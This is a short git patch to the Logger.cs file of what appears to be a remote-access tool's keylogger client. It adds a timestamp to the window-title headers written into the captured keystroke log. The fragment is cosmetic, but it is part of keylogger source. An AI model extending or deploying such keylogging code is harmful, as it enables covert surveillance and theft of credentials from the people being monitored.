From b932d969818d4b8ae2d391423afca59c7e811e82 Mon Sep 17 00:00:00 2001 From: d3agle Date: Mon, 25 May 2015 06:14:16 -0500 Subject: [PATCH] [Keylogger] Add time to Window Title #195 --- Client/Core/Keylogger/Logger.cs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index c8a3f097..e2c49178 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -97,7 +97,10 @@ private void Unsubscribe() if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; - _logFileBuffer.Append(@"



[" + activeWindowTitle + "]


"); + _logFileBuffer.Append(@"



[" + + activeWindowTitle + " - " + + DateTime.Now.ToString("HH:mm") + + "]


"); } if (_pressedKeys.IsModifierKeysSet())